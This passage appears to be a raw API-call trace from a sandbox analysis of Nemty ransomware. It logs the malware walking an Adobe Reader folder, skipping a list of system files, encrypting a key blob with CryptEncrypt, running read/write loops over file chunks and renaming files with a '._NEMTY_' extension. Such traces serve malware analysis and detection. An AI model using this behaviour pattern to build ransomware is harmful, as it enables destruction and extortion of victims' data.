hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.778] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0198.778] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.778] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0198.787] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.787] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0198.787] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.787] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0198.797] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.797] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0198.797] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.797] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0198.806] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.806] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0198.806] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.806] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0198.815] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.815] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0198.815] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.815] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0198.821] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.821] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0198.821] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.822] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0198.827] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.827] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0198.827] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.827] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348ed8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0198.827] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0198.827] CloseHandle (hObject=0xffffffff) returned 0 [0198.828] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0198.828] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0198.828] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0198.828] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0198.828] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0198.828] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0198.828] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0198.828] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0198.828] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0198.828] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0198.828] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-3" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-3"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-3._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-3._nemty_kgobjgd_")) returned 0 [0198.828] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0198.828] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0198.828] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0198.828] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0198.828] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0198.828] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0198.828] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0198.828] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0198.828] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8007f260, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1461, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-GB1-4", cAlternateFileName="AD1D91~1")) returned 1 [0198.828] lstrcmpiW (lpString1="Adobe-GB1-4", lpString2=".") returned 1 [0198.828] lstrcmpiW (lpString1="Adobe-GB1-4", lpString2="..") returned 1 [0198.828] lstrcmpiW (lpString1="Adobe-GB1-4", lpString2="...") returned 1 [0198.828] lstrcmpiW (lpString1="Adobe-GB1-4", lpString2="windows") returned -1 [0198.828] lstrcmpiW (lpString1="Adobe-GB1-4", lpString2="$RECYCLE.BIN") returned 1 [0198.828] lstrcmpiW (lpString1="Adobe-GB1-4", lpString2="rsa") returned -1 [0198.828] lstrcmpiW (lpString1="Adobe-GB1-4", lpString2="NTDETECT.COM") returned -1 [0198.828] lstrcmpiW (lpString1="Adobe-GB1-4", lpString2="ntldr") returned -1 [0198.828] lstrcmpiW (lpString1="Adobe-GB1-4", lpString2="MSDOS.SYS") returned -1 [0198.828] lstrcmpiW (lpString1="Adobe-GB1-4", lpString2="IO.SYS") returned -1 [0198.828] lstrcmpiW (lpString1="Adobe-GB1-4", lpString2="boot.ini") returned -1 [0198.828] lstrcmpiW (lpString1="Adobe-GB1-4", lpString2="boot.ini") returned -1 [0198.828] lstrcmpiW (lpString1="Adobe-GB1-4", lpString2="AUTOEXEC.BAT") returned -1 [0198.829] lstrcmpiW (lpString1="Adobe-GB1-4", lpString2="ntuser.dat") returned -1 [0198.829] lstrcmpiW (lpString1="Adobe-GB1-4", lpString2="desktop.ini") returned -1 [0198.829] lstrcmpiW (lpString1="Adobe-GB1-4", lpString2="CONFIG.SYS") returned -1 [0198.829] lstrcmpiW (lpString1="Adobe-GB1-4", lpString2="RECYCLER") returned -1 [0198.829] lstrcmpiW (lpString1="Adobe-GB1-4", lpString2="BOOTSECT.BAK") returned -1 [0198.829] lstrcmpiW (lpString1="Adobe-GB1-4", lpString2="bootmgr") returned -1 [0198.829] lstrcmpiW (lpString1="Adobe-GB1-4", lpString2="programdata") returned -1 [0198.829] lstrcmpiW (lpString1="Adobe-GB1-4", lpString2="appdata") returned -1 [0198.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0198.829] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-GB1-4", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0198.829] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-GB1-4", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-GB1-4", lpUsedDefaultChar=0x0) returned 11 [0198.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0198.829] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-GB1-4", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0198.829] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-GB1-4", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-GB1-4", lpUsedDefaultChar=0x0) returned 11 [0198.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0198.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0198.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0198.829] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-GB1-4", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0198.829] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-GB1-4", cchWideChar=11, lpMultiByteStr=0x653ec20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-GB1-4", lpUsedDefaultChar=0x0) returned 11 [0198.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0198.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0198.829] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-GB1-4", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0198.829] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-GB1-4", cchWideChar=11, lpMultiByteStr=0x653ec58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-GB1-4", lpUsedDefaultChar=0x0) returned 11 [0198.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0198.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0198.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0198.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0198.829] Sleep (dwMilliseconds=0x5) [0198.836] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2a297a70, dwHighDateTime=0x1d561e8)) [0198.836] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2a297a70, dwHighDateTime=0x1d561e8)) [0198.836] GetLastError () returned 0x5 [0198.836] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0198.836] GetLastError () returned 0x5 [0198.836] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0198.836] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0198.836] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0198.836] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0198.836] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0198.836] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0198.836] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0198.836] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e91c | out: pszString="15GWBULg85fczsZ00Xz3jGHyeqT5ee48n4ufJJyZsgQU3WFzyncyl3BSaY5yVKUC\r\nCdhD6gYc01wgg8g0wORUVWlWS+fwDCR81VclnjoWdT/FnRIpb63O1bDM+DvbbtUD\r\n1W6NNH4B7SBAl0BbuidSOXRV/kI6vfPWA7byxM2XdDcxLbtug3IPQ5g3ly5D+cJ5\r\n6cAQFryd5Eyv6BrxuSCj2UAwH5vnIsSsJIsuBUj06jqN9ZKOAs4sIyhxCQt3OcH0\r\n/JlJaDkPpk8iJGuqT324iXz6ndnok7aMYZgri9QfrFPg6wTtIV2cxws87+BaFrX9\r\nw5LVpLBaV/cZHJw63rOXgw==\r\n", pcchString=0x653e91c) returned 1 [0198.836] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0198.836] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0198.836] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0198.836] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0198.836] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0198.836] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0198.836] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-4" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0198.837] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0198.837] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0198.837] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.837] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0198.846] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.846] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0198.846] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.846] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0198.855] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.855] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0198.855] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.855] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0198.864] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.864] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0198.864] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.864] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0198.874] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.874] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0198.874] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.874] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0198.883] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.883] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0198.883] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.883] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0198.892] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.892] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0198.892] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.892] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0198.902] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.902] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0198.902] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.902] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0198.911] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.911] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0198.911] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.911] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0198.921] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.921] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0198.921] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.921] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 